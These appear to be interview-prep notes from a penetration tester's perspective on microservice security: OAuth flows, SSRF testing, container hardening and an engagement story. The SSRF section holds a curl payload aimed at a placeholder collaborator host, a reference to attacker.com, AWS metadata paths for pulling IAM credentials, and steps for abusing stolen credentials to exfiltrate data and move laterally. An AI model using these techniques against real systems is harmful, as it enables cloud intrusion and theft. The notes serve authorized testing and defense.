Zero Trust, Segmentation, and Service-to-Service Security Questions

Overview of OAuth 2.0 flows (brief + when to use in microservices)

• Authorization Code

  • Flow: Client redirects user to auth server → user authenticates → server returns code → client exchanges code for tokens.
  • Use: Recommended for web apps and microservices that act on behalf of users (confidential clients). In microservices, front-end obtains tokens via backend to call internal services.

• Authorization Code with PKCE

  • Same as above but with a code challenge/verifier to prevent interception. Use for public clients (SPAs, mobile) and any client where client_secret can't be safely stored.

• Client Credentials

  • Flow: Service-to-service: client authenticates with client_id/secret to get access token.
  • Use: Machine-to-machine calls between microservices where no user context is needed.

• Resource Owner Password Credentials (ROPC)

  • Flow: App collects user credentials and exchanges them for tokens.
  • Use: Deprecated/avoid. Only legacy trusted first-party apps where no browser is possible. Not recommended in microservices.

• Implicit

  • Flow: Tokens returned directly from auth endpoint to browser.
  • Use: Deprecated for SPAs—use Authorization Code + PKCE instead.

PKCE and why it matters

• PKCE prevents authorization code interception by having client send a code_challenge when requesting the code and later present a code_verifier when exchanging it. Attackers capturing the code can't exchange it without the verifier. Essential for public clients and recommended universally.

Refresh token handling (best practices for security)

• Store refresh tokens securely (httpOnly secure cookies or encrypted storage).
• Use rotating refresh tokens: each refresh invalidates prior token and ties to client/device.
• Bind tokens to client_id and audience, set short-lived access tokens and sensible refresh expiry.
• Revoke on logout, suspicious activity, or reuse detection. Log and alert on token abuse.

Testing OAuth endpoints in a penetration test

• Test flows: attempt CSRF, token leakage, open redirectors, code interception, PKCE omission, token replay.
• Test client credentials: brute-force client secrets, enumerate client IDs.
• Test refresh tokens: reuse, rotation detection, revocation endpoints.
• Analyze token contents (JWT): weak signatures (none algorithm), predictable claims, excessive scopes, long expiration.
• Test scopes/ACLs: attempt privilege escalation by requesting broader scopes or using tokens against other resources.
• Use tools: Burp Suite (OAuth extension), jwttool, oidc-debugger, custom scripts to automate code exchange and replay.
• Report: exploitability steps, PoC requests/responses, risk, and mitigation recommendations (PKCE enforced, rotate secrets, revoke endpoints, strict CORS/redirect URI validation).

Approach / Recon

• Identify endpoints that fetch URLs: proxying, image fetch, webhook, URL preview, health-checks, server-side scanners.
• Test with controlled callback domains (Burp Collaborator, OOB-Scanner, Interactsh) to detect blind SSRF.

Active SSRF techniques

• Provide http://attacker.com/… to confirm request.
• Use redirects, auth headers, DNS vs HTTP OOB for different protocols.
• Request internal IPs (127.0.0.1, 169.254.169.254, 169.254.170.2 for ECS task metadata, 172.17.0.1 for docker bridge).
• Example curl payload for immediate testing:

curl -X POST https://target/api/fetch -d '{"url":"http://<your-collab>/ping"}' -H 'Content-Type: application/json'

Blind SSRF

• Use DNS-based OOB (Interactsh/Burp Collaborator) — fastest for blind cases.
• Use time-based techniques (large response delays) or error-based side-channels if DNS blocked.

Cloud metadata exploitation

• AWS IMDSv1: simple GET to http://169.254.169.254/latest/meta-data/ and IAM role creds at /latest/meta-data/iam/security-credentials/<role>
• IMDSv2: requires session token — must first POST to /latest/api/token with header X-aws-ec2-metadata-token-ttl-seconds then include token in GETs.
• In SSRF context try:
  • GET http://169.254.169.254/latest/meta-data/… (IMDSv1 may return creds)
  • If 401/403, attempt token retrieval via server-side POST to /latest/api/token (some servers proxy POSTs).
• ECS task credentials: 169.254.170.2/task-credentials/… or AWS_FARGATE relative endpoints.

Abuse of retrieved creds

• Use temporary credentials to call AWS APIs: enumerate S3 buckets, IMDS, STS:GetCallerIdentity, ECR, EC2 Describe*, exfiltrate data.
• Pivot from compromised role to lateral movement, create new IAM keys if permissions allow.

Mitigations (microservices & service mesh)

• Whitelist allowed remote hosts; deny IP literal/metadata ranges.
• Enforce URL schema (only https) and block internal ranges: 127.0.0.0/8, 169.254.0.0/16, 10.0.0.0/8, 172.16/12, 192.168/16.
• Validate and normalize input; disallow redirects or follow only to approved hosts.
• Ingress egress controls at network / mesh level: mTLS + egress gateway that enforces host allowlists.
• Use IMDSv2 enforced on instances and require instance role policies least-privilege; rotate and monitor credentials; use instance profiles with minimal scope.
• Service mesh: centralize outbound policy, deny direct pod/sidecar access to metadata IP, enable sidecar egress filtering.
• Logging & alerting: detect metadata access patterns, unusual STS calls, and outbound connections to external callback domains.

Focus tests on discovery with OOB, confirming with internal probes, then safe credential handling and clear remediation steps in reports.

Overview (role lens — penetration tester)
As a pen tester I treat monolith vs microservices as different threat topologies: monolith centralizes code/privilege; microservices distribute functionality and increase inter-service boundaries.

Differences

• Attack surface
  • Monolith: fewer network endpoints, larger internal codebase — single exploit can expose many functions.
  • Microservices: many small endpoints (APIs), service meshes, orchestration APIs — more public-facing attack vectors.
• Authentication & Authorization
  • Monolith: often single auth boundary (session or token) — simpler but single point of failure.
  • Microservices: need mTLS, per-service tokens, JWTs, RBAC scopes — misconfigurations create privilege escalation paths.
• Lateral movement risk
  • Monolith: exploit stays within process; escalating requires code-level faults.
  • Microservices: compromised service can call others; network-level lateral movement, service account abuse.
• Logging / Visibility
  • Monolith: centralized logs easier to correlate.
  • Microservices: dispersed logs; tracing required (distributed tracing, correlation IDs).
• Patching / Patch windows
  • Monolith: big releases; longer windows but single patch covers many functions.
  • Microservices: many smaller deploys — quicker patches possible but operational complexity increases risk of inconsistent versions.
• Incident response
  • Monolith: simpler containment (take app offline); single codebase to analyze.
  • Microservices: need service-by-service containment, flow tracing, and orchestration-level controls.

Top 3 controls to prioritize when migrating (and why)

1. Strong mutual service authentication (mTLS + short-lived mTLS certs or SPIFFE)
   • Prevents impersonation and raises difficulty of lateral movement; I can’t reuse a stolen app token to call arbitrary services.
2. Centralized identity and fine-grained authorization (OAuth2 scopes / RBAC + ABAC where needed)
   • Limits blast radius: each service enforces least privilege; as a tester I can enumerate smaller scopes rather than full system takeover.
3. Distributed tracing + centralized security logging with immutable storage and alerting (correlation IDs, SIEM)
   • Enables rapid detection and forensic tracing across services; essential for reconstructing multi-service exploits.

I’d validate these by threat modeling, targeted auth bypass tests, token replay attempts, and tracing tampering scenarios during an engagement.

Approach (brief)
As a penetration tester I verify image-hardening by both automated scanning and active validation on deployed containers, looking for deviations from least-privilege and known CVEs.

Checks and verification steps

• Minimal base images

  • Inspect Dockerfile and image layers (docker history, dive).
  • Look for large layer sizes, presence of compilers or shells. Example: use dive to identify unnecessary packages.

• Remove package managers / unnecessary tools

  • Search image filesystem for apt, yum, apk, curl, wget, gcc.
  • Try spawning an interactive shell; presence of package managers enables in-container tampering.

• Pin package & base-image versions

  • Review Dockerfile for explicit tags/digests (FROM ubuntu:20.04 or better FROM ubuntu@sha256:...).
  • Check CI manifests for dynamic tags (avoid :latest).

• Scan for CVEs

  • Run image scanners (Trivy, Clair, Grype) and verify scanner output against CVE DB; prioritize high/critical findings and proof-of-concept exploits where possible.

• Run as non-root

  • Inspect Dockerfile USER instruction and image passwd file.
  • Attempt container exec and check uid. Try filesystem writes to root-only paths to confirm privilege separation.

• Avoid privileged containers

  • Review runtime flags (docker run --privileged, cap_add).
  • For Kubernetes, check PodSecurityPolicies/PSA and look for hostPath, hostNetwork, hostPID, NET_ADMIN, SYS_ADMIN capabilities.

Exploit validation
Where safe and scoped, demonstrate exploitability: escalate from container to host via misconfigurations (privileged flag, CAP_SYS_ADMIN, writable host mounts) or leverage vulnerable packages to run code. Provide remediation and CI gating recommendations.

Situation
At a SaaS company I contracted with, I was performing an internal penetration test on a set of microservices. One service exposed an internal admin API on the service mesh without requiring mutual TLS or proper token validation.

Task
My goal was to safely confirm the impact, document the exploitability, and work with engineering to remediate before any production exposure.

Action

• I enumerated service endpoints via authenticated discovery and found an /admin/v1/config endpoint reachable from a less-privileged network segment.
• To validate safely, I used a lab environment mirror and a constrained PoC: I replayed an authenticated request with a forged bearer token (short-lived test token generated from a test identity provider) to demonstrate privilege escalation only in the staging replica.
• I captured request/response evidence, risk classification (privilege escalation to administrative config change), and step-by-step reproduction.
• I immediately notified the engineering lead and security manager with a high-level summary and scheduled a brief triage call. In the call I explained exploit mechanics, blast radius, and recommended short-term mitigations (apply mTLS, enforce token audience/issuer checks, and network ACLs).

Result
Engineering applied token validation and enabled mTLS for inter-service traffic within 48 hours; they also added an automated integration test to check admin endpoints are inaccessible from non-admin networks. I performed follow-up tests in staging and confirmed the admin endpoint now rejects forged tokens and is unreachable without mTLS. The ticket was closed after a final verification, and I updated the report with remediation steps and suggested logging/monitoring improvements to detect similar attempts.